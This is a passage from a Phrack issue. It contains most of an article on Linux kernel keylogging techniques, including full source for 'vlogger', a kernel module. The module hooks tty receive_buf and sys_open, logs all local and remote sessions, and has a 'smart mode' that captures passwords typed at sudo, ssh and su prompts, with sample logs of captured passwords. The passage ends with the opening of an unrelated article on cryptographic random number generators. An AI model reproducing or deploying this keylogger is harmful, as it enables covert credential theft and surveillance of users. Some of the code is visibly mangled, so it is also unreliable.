and sys_read() functions. Note that we can't intercept tty_insert_flip_char() function because it is an INLINE function. ------[ 3.2.1 - handle_scancode This is the entry function of the keyboard driver (see keyboard.c). It handles scancodes which are received from keyboard. # /usr/src/linux/drives/char/keyboard.c void handle_scancode(unsigned char scancode, int down); We can replace original handle_scancode() function with our own to logs all scancodes. But handle_scancode() function is not a global and exported function. So to do this, we can use kernel function hijacking technique introduced by Silvio (see [5]). /* below is a code snippet written by Plasmoid */ static struct semaphore hs_sem, log_sem; static int logging=1; #define CODESIZE 7 static char hs_code[CODESIZE]; static char hs_jump[CODESIZE] = "\xb8\x00\x00\x00\x00" /* movl $0,%eax */ "\xff\xe0" /* jmp *%eax */ ; void (*handle_scancode) (unsigned char, int) = (void (*)(unsigned char, int)) HS_ADDRESS; void _handle_scancode(unsigned char scancode, int keydown) { if (logging && keydown) log_scancode(scancode, LOGFILE); /* * Restore first bytes of the original handle_scancode code. Call * the restored function and re-restore the jump code. Code is * protected by semaphore hs_sem, we only want one CPU in here at a * time. */ down(&hs_sem); memcpy(handle_scancode, hs_code, CODESIZE); handle_scancode(scancode, keydown); memcpy(handle_scancode, hs_jump, CODESIZE); up(&hs_sem); } HS_ADDRESS is set by the Makefile executing this command HS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode)) Similar to method presented in 3.1, the advantage of this method is the ability to log keystrokes under X and the console, no matter if a tty is invoked or not. And you will know exactly what key is pressed on the keyboard (including special keys such as Control, Alt, Shift, Print Screen, ...). But this method is platform dependent and won't be portable among platforms. This method also can't log keystroke of remote sessions and is quite complex for building an advance logger. ------[ 3.2.2 - put_queue This function is called by handle_scancode() function to put characters into tty_queue. # /usr/src/linux/drives/char/keyboard.c void put_queue(int ch); To intercept this function, we can use the above technique as in section (3.2.1). ------[ 3.2.3 - receive_buf receive_buf() function is called by the low-level tty driver to send characters received by the hardware to the line discipline for processing. # /usr/src/linux/drivers/char/n_tty.c */ static void n_tty_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count) cp is a pointer to the buffer of input character received by the device. fp is a pointer to a pointer of flag bytes which indicate whether a character was received with a parity error, etc. Lets take a deeper look into tty structures # /usr/include/linux/tty.h struct tty_struct { int magic; struct tty_driver driver; struct tty_ldisc ldisc; struct termios *termios, *termios_locked; ... } # /usr/include/linux/tty_ldisc.h struct tty_ldisc { int magic; char *name; ... void (*receive_buf)(struct tty_struct *, const unsigned char *cp, char *fp, int count); int (*receive_room)(struct tty_struct *); void (*write_wakeup)(struct tty_struct *); }; To intercept this function, we can save the original tty receive_buf() function then set ldisc.receive_buf to our own new_receive_buf() function in order to logging user inputs. Ex: to log inputs on the tty0 int fd = open("/dev/tty0", O_RDONLY, 0); struct file *file = fget(fd); struct tty_struct *tty = file->private_data; old_receive_buf = tty->ldisc.receive_buf; tty->ldisc.receive_buf = new_receive_buf; void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count) { logging(tty, cp, count); //log inputs /* call the original receive_buf */ (*old_receive_buf)(tty, cp, fp, count); } ------[ 3.2.4 - tty_read This function is called when a process wants to read input characters from a tty via sys_read() function. # /usr/src/linux/drives/char/tty_io.c static ssize_t tty_read(struct file * file, char * buf, size_t count, loff_t *ppos) static struct file_operations tty_fops = { llseek: tty_lseek, read: tty_read, write: tty_write, poll: tty_poll, ioctl: tty_ioctl, open: tty_open, release: tty_release, fasync: tty_fasync, }; To log inputs on the tty0: int fd = open("/dev/tty0", O_RDONLY, 0); struct file *file = fget(fd); old_tty_read = file->f_op->read; file->f_op->read = new_tty_read; ------[ 3.2.5 - sys_read/sys_write We will intercept sys_read/sys_write system calls to redirect it to our own code which logs the content of the read/write calls. This method was presented by halflife in Phrack 50 (see [4]). I highly recommend reading that paper and a great article written by pragmatic called "Complete Linux Loadable Kernel Modules" (see [2]). The code to intercept sys_read/sys_write will be something like this: extern void *sys_call_table[]; original_sys_read = sys_call_table[__NR_read]; sys_call_table[__NR_read] = new_sys_read; --[ 4 - vlogger This part will introduce my kernel keylogger which is used method described in section 3.2.3 to acquire more abilities than common keyloggers used sys_read/sys_write systemcall replacement approach. I have tested the code with the following versions of linux kernel: 2.4.5, 2.4.7, 2.4.17 and 2.4.18. ----[ 4.1 - The syscall/tty approach To logging both local (logged from console) and remote sessions, I chose the method of intercepting receive_buf() function (see 3.2.3). In the kernel, tty_struct and tty_queue structures are dynamically allocated only when the tty is open. Thus, we also have to intercept sys_open syscall to dynamically hooking the receive_buf() function of each tty or pty when it's invoked. // to intercept open syscall original_sys_open = sys_call_table[__NR_open]; sys_call_table[__NR_open] = new_sys_open; // new_sys_open() asmlinkage int new_sys_open(const char *filename, int flags, int mode) { ... // call the original_sys_open ret = (*original_sys_open)(filename, flags, mode); if (ret >= 0) { struct tty_struct * tty; ... file = fget(ret); tty = file->private_data; if (tty != NULL && ... tty->ldisc.receive_buf != new_receive_buf) { ... // save the old receive_buf old_receive_buf = tty->ldisc.receive_buf; ... /* * init to intercept receive_buf of this tty * tty->ldisc.receive_buf = new_receive_buf; */ init_tty(tty, TTY_INDEX(tty)); } ... } // our new receive_buf() function void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count) { if (!tty->real_raw && !tty->raw) // ignore raw mode // call our logging function to log user inputs vlogger_process(tty, cp, count); // call the original receive_buf (*old_receive_buf)(tty, cp, fp, count); } ----[ 4.2 - Features - Logs both local and remote sessions (via tty & pts) - Separate logging for each tty/session. Each tty has their own logging buffer. - Nearly support all special chars such as arrow keys (left, right, up, down), F1 to F12, Shift+F1 to Shift+F12, Tab, Insert, Delete, End, Home, Page Up, Page Down, BackSpace, ... - Support some line editing keys included CTRL-U and BackSpace. - Timestamps logging, timezone supported (ripped off some codes from libc). - Multiple logging modes o dumb mode: logs all keystrokes o smart mode: detects password prompt automatically to log user/password only. I used the similar technique presented in "Passive Analysis of SSH (Secure Shell) Traffic" paper by Solar Designer and Dug Song (see [6]). When the application turns input echoing off, we assume that it is for entering a password. o normal mode: disable logging You can switch between logging modes by using a magic password. #define VK_TOGLE_CHAR 29 // CTRL-] #define MAGIC_PASS "31337" // to switch mode, type MAGIC_PASS // then press VK_TOGLE_CHAR key ----[ 4.3 - How to use Change the following options // directory to store log files #define LOG_DIR "/tmp/log" // your local timezone #define TIMEZONE 7*60*60 // GMT+7 // your magic password #define MAGIC_PASS "31337" Below is how the log file looks like: [root@localhost log]# ls -l total 60 -rw------- 1 root root 633 Jun 19 20:59 pass.log -rw------- 1 root root 37593 Jun 19 18:51 pts11 -rw------- 1 root root 56 Jun 19 19:00 pts20 -rw------- 1 root root 746 Jun 19 20:06 pts26 -rw------- 1 root root 116 Jun 19 19:57 pts29 -rw------- 1 root root 3219 Jun 19 21:30 tty1 -rw------- 1 root root 18028 Jun 19 20:54 tty2 ---in dumb mode [root@localhost log]# head tty2 // local session <19/06/2002-20:53:47 uid=501 bash> pwd <19/06/2002-20:53:51 uid=501 bash> uname -a <19/06/2002-20:53:53 uid=501 bash> lsmod <19/06/2002-20:53:56 uid=501 bash> pwd <19/06/2002-20:54:05 uid=501 bash> cd /var/log <19/06/2002-20:54:13 uid=501 bash> tail messages <19/06/2002-20:54:21 uid=501 bash> cd ~ <19/06/2002-20:54:22 uid=501 bash> ls <19/06/2002-20:54:29 uid=501 bash> tty <19/06/2002-20:54:29 uid=501 bash> [UP] [root@localhost log]# tail pts11 // remote session <19/06/2002-18:48:27 uid=0 bash> cd new <19/06/2002-18:48:28 uid=0 bash> cp -p ~/code . <19/06/2002-18:48:21 uid=0 bash> lsmod <19/06/2002-18:48:27 uid=0 bash> cd /va[TAB][^H][^H]tmp/log/ <19/06/2002-18:48:28 uid=0 bash> ls -l <19/06/2002-18:48:30 uid=0 bash> tail pts11 <19/06/2002-18:48:38 uid=0 bash> [UP] | more <19/06/2002-18:50:44 uid=0 bash> vi vlogertxt <19/06/2002-18:50:48 uid=0 vi> :q <19/06/2002-18:51:14 uid=0 bash> rmmod vlogger ---in smart mode [root@localhost log]# cat pass.log [19/06/2002-18:28:05 tty=pts/20 uid=501 sudo] USER/CMD sudo traceroute yahoo.com PASS 5hgt6d PASS [19/06/2002-19:59:15 tty=pts/26 uid=0 ssh] USER/CMD ssh guest@host.com PASS guest [19/06/2002-20:50:44 tty=pts/29 uid=504 ftp] USER/CMD open ftp.ilog.fr USER Anonymous PASS heh@heh [19/06/2002-20:59:54 tty=pts/29 uid=504 su] USER/CMD su - PASS asdf1234 Please check http://www.thehackerschoice.com/ for update on the new version of this tool. --[ 5 - Greets Thanks to plasmoid, skyper for your very useful comments Greets to THC, vnsecurity and all friends Finally, thanks to mr. thang for english corrections --[ 6 - References [1] Linux Kernel Module Programming http://www.tldp.org/LDP/lkmpg/ [2] Complete Linux Loadable Kernel Modules - Pragmatic http://www.thehackerschoice.com/papers/LKM_HACKING.html [3] The Linux keyboard driver - Andries Brouwer http://www.linuxjournal.com/lj-issues/issue14/1080.html [4] Abuse of the Linux Kernel for Fun and Profit - Halflife http://www.phrack.com/phrack/50/P50-05 [5] Kernel function hijacking - Silvio Cesare http://www.big.net.au/~silvio/kernel-hijack.txt [6] Passive Analysis of SSH (Secure Shell) Traffic - Solar Designer http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt [7] Kernel Based Keylogger - Mercenary http://packetstorm.decepticons.org/UNIX/security/kernel.keylogger.txt --[ 7 - Keylogger sources <++> vlogger/Makefile # # vlogger 1.0 by rd # # LOCAL_ONLY logging local session only. Doesn't intercept # sys_open system call # DEBUG Enable debug. Turn on this options will slow # down your system # KERNELDIR =/usr/src/linux include $(KERNELDIR)/.config MODVERFILE = $(KERNELDIR)/include/linux/modversions.h MODDEFS = -D__KERNEL__ -DMODULE -DMODVERSIONS CFLAGS = -Wall -O2 -I$(KERNELDIR)/include -include $(MODVERFILE) \ -Wstrict-prototypes -fomit-frame-pointer -pipe \ -fno-strength-reduce -malign-loops=2 -malign-jumps=2 \ -malign-functions=2 all : vlogger.o vlogger.o: vlogger.c $(CC) $(CFLAGS) $(MODDEFS) -c $^ -o $@ clean: rm -f *.o <--> <++> vlogger/vlogger.c /* * vlogger 1.0 * * Copyright (C) 2002 rd * * Please check http://www.thehackerschoice.com/ for update * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version * * This program is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * Greets to THC & vnsecurity * */ #define __KERNEL_SYSCALLS__ #include #include #include #include #include #include #include #include #include #include #include #include #ifndef KERNEL_VERSION #define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c)) #endif #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,4,9) MODULE_LICENSE("GPL"); MODULE_AUTHOR("rd@vnsecurity.net"); #endif #define MODULE_NAME "vlogger " #define MVERSION "vlogger 1.0 - by rd@vnsecurity.net\n" #ifdef DEBUG #define DPRINT(format, args...) printk(MODULE_NAME format, ##args) #else #define DPRINT(format, args...) #endif #define N_TTY_NAME "tty" #define N_PTS_NAME "pts" #define MAX_TTY_CON 8 #define MAX_PTS_CON 256 #define LOG_DIR "/tmp/log" #define PASS_LOG LOG_DIR "/pass.log" #define TIMEZONE 7*60*60 // GMT+7 #define ESC_CHAR 27 #define BACK_SPACE_CHAR1 127 // local #define BACK_SPACE_CHAR2 8 // remote #define VK_TOGLE_CHAR 29 // CTRL-] #define MAGIC_PASS "31337" // to switch mode, press MAGIC_PASS and // VK_TOGLE_CHAR #define VK_NORMAL 0 #define VK_DUMBMODE 1 #define VK_SMARTMODE 2 #define DEFAULT_MODE VK_DUMBMODE #define MAX_BUFFER 256 #define MAX_SPECIAL_CHAR_SZ 12 #define TTY_NUMBER(tty) MINOR((tty)->device) - (tty)->driver.minor_start \ + (tty)->driver.name_base #define TTY_INDEX(tty) tty->driver.type == \ TTY_DRIVER_TYPE_PTY?MAX_TTY_CON + \ TTY_NUMBER(tty):TTY_NUMBER(tty) #define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty) #define TTY_WRITE(tty, buf, count) (*tty->driver.write)(tty, 0, \ buf, count) #define TTY_NAME(tty) (tty->driver.type == \ TTY_DRIVER_TYPE_CONSOLE?N_TTY_NAME: \ tty->driver.type == TTY_DRIVER_TYPE_PTY && \ tty->driver.subtype == PTY_TYPE_SLAVE?N_PTS_NAME:"") #define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds()); #define END_KMEM set_fs(old_fs); } extern void *sys_call_table[]; int errno; struct tlogger { struct tty_struct *tty; char buf[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ]; int lastpos; int status; int pass; }; struct tlogger *ttys[MAX_TTY_CON + MAX_PTS_CON] = { NULL }; void (*old_receive_buf)(struct tty_struct *, const unsigned char *, char *, int); asmlinkage int (*original_sys_open)(const char *, int, int); int vlogger_mode = DEFAULT_MODE; /* Prototypes */ static inline void init_tty(struct tty_struct *, int); /* static char *_tty_make_name(struct tty_struct *tty, const char *name, char *buf) { int idx = (tty)?MINOR(tty->device) - tty->driver.minor_start:0; if (!tty) strcpy(buf, "NULL tty"); else sprintf(buf, name, idx + tty->driver.name_base); return buf; } char *tty_name(struct tty_struct *tty, char *buf) { return _tty_make_name(tty, (tty)?tty->driver.name:NULL, buf); } */ #define SECS_PER_HOUR (60 * 60) #define SECS_PER_DAY (SECS_PER_HOUR * 24) #define isleap(year) \ ((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0)) #define DIV(a, b) ((a) / (b) - ((a) % (b) < 0)) #define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400)) struct vtm { int tm_sec; int tm_min; int tm_hour; int tm_mday; int tm_mon; int tm_year; }; /* * Convert from epoch to date */ int epoch2time (const time_t *t, long int offset, struct vtm *tp) { static const unsigned short int mon_yday[2][13] = { /* Normal years. */ { 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 }, /* Leap years. */ { 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 } }; long int days, rem, y; const unsigned short int *ip; days = *t / SECS_PER_DAY; rem = *t % SECS_PER_DAY; rem += offset; while (rem < 0) { rem += SECS_PER_DAY; --days; } while (rem >= SECS_PER_DAY) { rem -= SECS_PER_DAY; ++days; } tp->tm_hour = rem / SECS_PER_HOUR; rem %= SECS_PER_HOUR; tp->tm_min = rem / 60; tp->tm_sec = rem % 60; y = 1970; while (days < 0 || days >= (isleap (y) ? 366 : 365)) { long int yg = y + days / 365 - (days % 365 < 0); days -= ((yg - y) * 365 + LEAPS_THRU_END_OF (yg - 1) - LEAPS_THRU_END_OF (y - 1)); y = yg; } tp->tm_year = y - 1900; if (tp->tm_year != y - 1900) return 0; ip = mon_yday[isleap(y)]; for (y = 11; days < (long int) ip[y]; --y) continue; days -= ip[y]; tp->tm_mon = y; tp->tm_mday = days + 1; return 1; } /* * Get current date & time */ void get_time (char *date_time) { struct timeval tv; time_t t; struct vtm tm; do_gettimeofday(&tv); t = (time_t)tv.tv_sec; epoch2time(&t, TIMEZONE, &tm); sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday, tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min, tm.tm_sec); } /* * Get task structure from pgrp id */ inline struct task_struct *get_task(pid_t pgrp) { struct task_struct *task = current; do { if (task->pgrp == pgrp) { return task; } task = task->next_task; } while (task != current); return NULL; } #define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos)) #define WRITABLE(f) (f->f_op && f->f_op->write) int write_to_file(char *logfile, char *buf, int size) { int ret = 0; struct file *f = NULL; lock_kernel(); BEGIN_KMEM; f = filp_open(logfile, O_CREAT|O_APPEND, 00600); if (IS_ERR(f)) { DPRINT("Error %ld opening %s\n", -PTR_ERR(f), logfile); ret = -1; } else { if (WRITABLE(f)) _write(f, buf, size); else { DPRINT("%s does not have a write method\n", logfile); ret = -1; } if ((ret = filp_close(f,NULL))) DPRINT("Error %d closing %s\n", -ret, logfile); } END_KMEM; unlock_kernel(); return ret; } #define BEGIN_ROOT { int saved_fsuid = current->fsuid; current->fsuid = 0; #define END_ROOT current->fsuid = saved_fsuid; } /* * Logging keystrokes */ void logging(struct tty_struct *tty, struct tlogger *tmp, int cont) { int i; char logfile[256]; char loginfo[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ + 256]; char date_time[24]; struct task_struct *task; if (vlogger_mode == VK_NORMAL) return; if ((vlogger_mode == VK_SMARTMODE) && (!tmp->lastpos || cont)) return; task = get_task(tty->pgrp); for (i=0; ilastpos; i++) if (tmp->buf[i] == 0x0D) tmp->buf[i] = 0x0A; if (!cont) tmp->buf[tmp->lastpos++] = 0x0A; tmp->buf[tmp->lastpos] = 0; if (vlogger_mode == VK_DUMBMODE) { snprintf(logfile, sizeof(logfile)-1, "%s/%s%d", LOG_DIR, TTY_NAME(tty), TTY_NUMBER(tty)); BEGIN_ROOT if (!tmp->status) { get_time(date_time); if (task) snprintf(loginfo, sizeof(loginfo)-1, "<%s uid=%d %s> %s", date_time, task->uid, task->comm, tmp->buf); else snprintf(loginfo, sizeof(loginfo)-1, "<%s> %s", date_time, tmp->buf); write_to_file(logfile, loginfo, strlen(loginfo)); } else { write_to_file(logfile, tmp->buf, tmp->lastpos); } END_ROOT #ifdef DEBUG if (task) DPRINT("%s/%d uid=%d %s: %s", TTY_NAME(tty), TTY_NUMBER(tty), task->uid, task->comm, tmp->buf); else DPRINT("%s", tmp->buf); #endif tmp->status = cont; } else { /* * Logging USER/CMD and PASS in SMART_MODE */ BEGIN_ROOT if (!tmp->pass) { get_time(date_time); if (task) snprintf(loginfo, sizeof(loginfo)-1, "\n[%s tty=%s/%d uid=%d %s]\n" "USER/CMD %s", date_time, TTY_NAME(tty),TTY_NUMBER(tty), task->uid, task->comm, tmp->buf); else snprintf(loginfo, sizeof(loginfo)-1, "\n[%s tty=%s/%d]\nUSER/CMD %s", date_time, TTY_NAME(tty), TTY_NUMBER(tty), tmp->buf); write_to_file(PASS_LOG, loginfo, strlen(loginfo)); } else { snprintf(loginfo, sizeof(loginfo)-1, "PASS %s", tmp->buf); write_to_file (PASS_LOG, loginfo, strlen(loginfo)); } END_ROOT #ifdef DEBUG if (!tmp->pass) DPRINT("USER/CMD %s", tmp->buf); else DPRINT("PASS %s", tmp->buf); #endif } if (!cont) tmp->buf[--tmp->lastpos] = 0; } #define resetbuf(t) \ { \ t->buf[0] = 0; \ t->lastpos = 0; \ } #define append_c(t, s, n) \ { \ t->lastpos += n; \ strncat(t->buf, s, n); \ } static inline void reset_all_buf(void) { int i = 0; for (i=0; istatus && !IS_PASSWD(tty)) { resetbuf(tmp); } if (!tmp->pass && IS_PASSWD(tty)) { logging(tty, tmp, 0); resetbuf(tmp); } if (tmp->pass && !IS_PASSWD(tty)) { if (!tmp->lastpos) logging(tty, tmp, 0); resetbuf(tmp); } tmp->pass = IS_PASSWD(tty); tmp->status = 0; } if ((count + tmp->lastpos) > MAX_BUFFER - 1) { logging(tty, tmp, 1); resetbuf(tmp); } if (count == 1) { if (cp[0] == VK_TOGLE_CHAR) { if (!strcmp(tmp->buf, MAGIC_PASS)) { if(vlogger_mode < 2) vlogger_mode++; else vlogger_mode = 0; reset_all_buf(); switch(vlogger_mode) { case VK_DUMBMODE: DPRINT("Dumb Mode\n"); TTY_WRITE(tty, "\r\n" "Dumb Mode\n", 12); break; case VK_SMARTMODE: DPRINT("Smart Mode\n"); TTY_WRITE(tty, "\r\n" "Smart Mode\n", 13); break; case VK_NORMAL: DPRINT("Normal Mode\n"); TTY_WRITE(tty, "\r\n" "Normal Mode\n", 14); } } } switch (cp[0]) { case 0x01: //^A append_c(tmp, "[^A]", 4); break; case 0x02: //^B append_c(tmp, "[^B]", 4); break; case 0x03: //^C append_c(tmp, "[^C]", 4); case 0x04: //^D append_c(tmp, "[^D]", 4); case 0x0D: //^M case 0x0A: if (vlogger_mode == VK_SMARTMODE) { if (IS_PASSWD(tty)) { logging(tty, tmp, 0); resetbuf(tmp); } else tmp->status = 1; } else { logging(tty, tmp, 0); resetbuf(tmp); } break; case 0x05: //^E append_c(tmp, "[^E]", 4); break; case 0x06: //^F append_c(tmp, "[^F]", 4); break; case 0x07: //^G append_c(tmp, "[^G]", 4); break; case 0x09: //TAB - ^I append_c(tmp, "[TAB]", 5); break; case 0x0b: //^K append_c(tmp, "[^K]", 4); break; case 0x0c: //^L append_c(tmp, "[^L]", 4); break; case 0x0e: //^E append_c(tmp, "[^E]", 4); break; case 0x0f: //^O append_c(tmp, "[^O]", 4); break; case 0x10: //^P append_c(tmp, "[^P]", 4); break; case 0x11: //^Q append_c(tmp, "[^Q]", 4); break; case 0x12: //^R append_c(tmp, "[^R]", 4); break; case 0x13: //^S append_c(tmp, "[^S]", 4); break; case 0x14: //^T append_c(tmp, "[^T]", 4); break; case 0x15: //CTRL-U resetbuf(tmp); break; case 0x16: //^V append_c(tmp, "[^V]", 4); break; case 0x17: //^W append_c(tmp, "[^W]", 4); break; case 0x18: //^X append_c(tmp, "[^X]", 4); break; case 0x19: //^Y append_c(tmp, "[^Y]", 4); break; case 0x1a: //^Z append_c(tmp, "[^Z]", 4); break; case 0x1c: //^\ append_c(tmp, "[^\\]", 4); break; case 0x1d: //^] append_c(tmp, "[^]]", 4); break; case 0x1e: //^^ append_c(tmp, "[^^]", 4); break; case 0x1f: //^_ append_c(tmp, "[^_]", 4); break; case BACK_SPACE_CHAR1: case BACK_SPACE_CHAR2: if (!tmp->lastpos) break; if (tmp->buf[tmp->lastpos-1] != ']') tmp->buf[--tmp->lastpos] = 0; else { append_c(tmp, "[^H]", 4); } break; case ESC_CHAR: //ESC append_c(tmp, "[ESC]", 5); break; default: tmp->buf[tmp->lastpos++] = cp[0]; tmp->buf[tmp->lastpos] = 0; } } else { // a block of chars or special key if (cp[0] != ESC_CHAR) { while (count >= MAX_BUFFER) { append_c(tmp, cp, MAX_BUFFER); logging(tty, tmp, 1); resetbuf(tmp); count -= MAX_BUFFER; cp += MAX_BUFFER; } append_c(tmp, cp, count); } else // special key special_key(tmp, cp, count); } } void my_tty_open(void) { int fd, i; char dev_name[80]; #ifdef LOCAL_ONLY int fl = 0; struct tty_struct * tty; struct file * file; #endif for (i=1; iprivate_data; if (tty != NULL && tty->ldisc.receive_buf != NULL) { if (!fl) { old_receive_buf = tty->ldisc.receive_buf; fl = 1; } init_tty(tty, TTY_INDEX(tty)); } fput(file); #endif close(fd); END_KMEM } #ifndef LOCAL_ONLY for (i=0; i= 0) close(fd); END_KMEM } #endif } void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count) { if (!tty->real_raw && !tty->raw) // ignore raw mode vlogger_process(tty, cp, count); (*old_receive_buf)(tty, cp, fp, count); } static inline void init_tty(struct tty_struct *tty, int tty_index) { struct tlogger *tmp; DPRINT("Init logging for %s%d\n", TTY_NAME(tty), TTY_NUMBER(tty)); if (ttys[tty_index] == NULL) { tmp = kmalloc(sizeof(struct tlogger), GFP_KERNEL); if (!tmp) { DPRINT("kmalloc failed!\n"); return; } memset(tmp, 0, sizeof(struct tlogger)); tmp->tty = tty; tty->ldisc.receive_buf = new_receive_buf; ttys[tty_index] = tmp; } else { tmp = ttys[tty_index]; logging(tty, tmp, 1); resetbuf(tmp); tty->ldisc.receive_buf = new_receive_buf; } } asmlinkage int new_sys_open(const char *filename, int flags, int mode) { int ret; static int fl = 0; struct file * file; ret = (*original_sys_open)(filename, flags, mode); if (ret >= 0) { struct tty_struct * tty; BEGIN_KMEM lock_kernel(); file = fget(ret); tty = file->private_data; if (tty != NULL && ((tty->driver.type == TTY_DRIVER_TYPE_CONSOLE && TTY_NUMBER(tty) < MAX_TTY_CON - 1 ) || (tty->driver.type == TTY_DRIVER_TYPE_PTY && tty->driver.subtype == PTY_TYPE_SLAVE && TTY_NUMBER(tty) < MAX_PTS_CON)) && tty->ldisc.receive_buf != NULL && tty->ldisc.receive_buf != new_receive_buf) { if (!fl) { old_receive_buf = tty->ldisc.receive_buf; fl = 1; } init_tty(tty, TTY_INDEX(tty)); } fput(file); unlock_kernel(); END_KMEM } return ret; } int init_module(void) { DPRINT(MVERSION); #ifndef LOCAL_ONLY original_sys_open = sys_call_table[__NR_open]; sys_call_table[__NR_open] = new_sys_open; #endif my_tty_open(); // MOD_INC_USE_COUNT; return 0; } DECLARE_WAIT_QUEUE_HEAD(wq); void cleanup_module(void) { int i; #ifndef LOCAL_ONLY sys_call_table[__NR_open] = original_sys_open; #endif for (i=0; itty->ldisc.receive_buf = old_receive_buf; } } sleep_on_timeout(&wq, HZ); for (i=0; i |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x0f of 0x12 |=-------------=[ CRYPTOGRAPHIC RANDOM NUMBER GENERATORS ]=--------------=| |=-----------------------------------------------------------------------=| |=-----------------=[ DrMungkee ]=-------------------=| ----| Introduction Every component in a cryptosystem is critical to its security. A single failure in one could bring down all the others. Cryptographic random numbers are often used as keys, padding, salt and initialization vectors. Using a good RNG for each of these components is essential. There are many complications imposed by the predictability of computers, but there are means of extracting the few bits of entropy regardless of them being exponentially out-numbered by redundancy. This article's scope covers the design, implementation and analysis of RNGs. RNGs subject to exploration will be NoiseSpunge, Intel RNG, Linux' /dev/random, and Yarrow. ----| Glossary RNG - Random Number Generator PRNG - Pseudo Random Number Generator entropy - Unpredictable information redundancy - Predictable or probabilistic information ----| 1) Design Principles of RNGs 1.0) Overview A variety of factors come into play when designing an RNG. It's output must be undissernable from white noise, there must be no way of predicting any portion of it, and there can be no way of finding previous or future outputs based on any known outputs. If an RNG doesn't conform to this criteria, it is not cryptographicaly secure. 1.1) Entropy Gathering To meet the first and second criteria, finding good sources of entropy is an obligation. These sources must be unmoniterable by an attacker, and any attempts by an attacker to manipulate the entropy sources should not make them predictable or repetitive. Mouse movement is often used as entropy, but if the entropy is improperly interpreted by the RNG, there is a segnficant amount of redundancy. To demonstrate, I monitered mouse movement at an interval of 100 miliseconds. These positions were taken consecutively while the mouse was moved hecticaly in all directions. These results say it all: X-Position Y-Position 0000001011110101 0000000100101100 Only the last 9 bits of each 0000001000000001 0000000100001110 coordinate actualy appear 0000001101011111 0000001001101001 random. 0000001000100111 0000000111100100 0000001010101100 0000000011111110 0000000010000000 0000000111010011 0000001000111000 0000000100100111 0000000010001110 0000000100001111 0000000111010100 0000000011111000 0000000111100011 0000000100101010 The next demonstration shows a more realistic gathering of entropy by keeping only the 4 least significant bits of the X and Y positions and XORing them with a high-frequency counter, monitoring them at a random interval: X Y Timer XORed 1010 1001 00100110 01111111 0100 1100 00101010 00000110 0101 0010 01011111 01110101 1001 1100 10110000 11111100 0101 0100 11001110 11100010 0101 1100 01010000 01111100 1011 0000 01000100 00011100 0111 0111 00010111 00101000 0011 0101 01101011 01110110 0001 0001 11011000 11010001 Good entropy is gathered because 4bits from each coordinates represents a change in 16 pixels in each direction rather than assuming a motion of 65536 can occur in all directions. The high-resolution timer is used as well because although it is completly sequencial, it's last 8 bits will have been updated very often during a few CPU clock cycles, thus making those bits unmonitorable. An XOR is used to combine the entropy from the 2 sources because it has very the very good property of merging numbers in a way that preserves the dependency of every bit. The most common sources of entropy used all involve user interaction or high-frequency clocks in one way, shape, or form. A hybrid of both is always desirable. Latencies between user-triggered events (keystroke, disk I/O, IRQs, mouse clicks) measured at high-precisions are optimal because of the unpredictable nature of a user's behaviors and precise timing. Some sources may seem random enough but are in fact not. Network traffic is sometimes used but is unrecommended because it can be monitored and manipulated by an outside source. Another pittfall is millisecond precision clocks: they don't update frequently enough to be put to good use. A good example of entropy gathering shortcommings is Netscape's cryptographically _broken_ not-so-RNG. Netscape used the time and date with its process ID and its parent's process ID as it's only source of entropy. The process ID in Win9x is a value usualy below 100 (incremented once for each new process) that is XORed with the time of day Win9x first started. Even though the hashing function helped generate output that seemed random, it is easy to estimate feseable values for the entropy, hash them, and predict the RNG's output. It doesn't matter weather or not the output looks random if the source of entropy is poor. 1.2 Entropy Estimations Evaluating the quantity of entropy gathered should not be overlooked. It must be dones in order to prevent the RNG from attempting to output more entropy than it has gathered. Depending on system parameters, you can assign quality estimates for each of your entropy sources. For example, you can evaluate all keyboard generated entropy as being 4bits in size, regardless of how many bits of entropy you collect from it. If the RNG is on a file server and uses disk I/O as an entropy source, it could derrive an entropy estimate proportional to the number of users accessing the disk to prevent sequencial disk access from resulting in redundant entropy. The entropy estimates do not need to be the same size as the inputs or outputs of entropy gathering. They are meant as a safety precaution in further calculations. There are alternative methods for estimating the entropy. You could bias entropy from a source to be of better quality if that source has not supplied entropy for a period exceeding a certain interval. You can accumulate large amounts of entropy in a buffer, compress it, and derive an estimation from the compression ratio. Statistical tests comparing the last input entropy with a large quantity of previous inputs doesn't do much in terms of finding the current input's quality, but it gives the RNG an oppertunity to reject inputs that increase statistical probability of the group of entropy inputs. The best approach to this is also a hybrid. One method of estimating entropy quality usualy isn't enough. There are cases where an entropy source can be assumed to provide a consistant quality of entropy however. In these cases, a fixed size can be assigned to all entropy inputs from that source, but carefull analysis should be done before this assumption is made. It is wisest to calculate multiple estimates and assume the smallest value to be the most accurate. 1.3) Entropy Pools No entropy source should be assumed perfect. More specificaly, no entropy source should be assumed perfect on a computer. That is why entropy is gathered in a buffer (entropy pool) to undergo supplimentary processing. After entropy is gathered from a source, it is input into an entropy pool. The entropy pool must do several things with this input. It must keep track of the amount of entropy contained within it, mix the last input uniformaly with all the 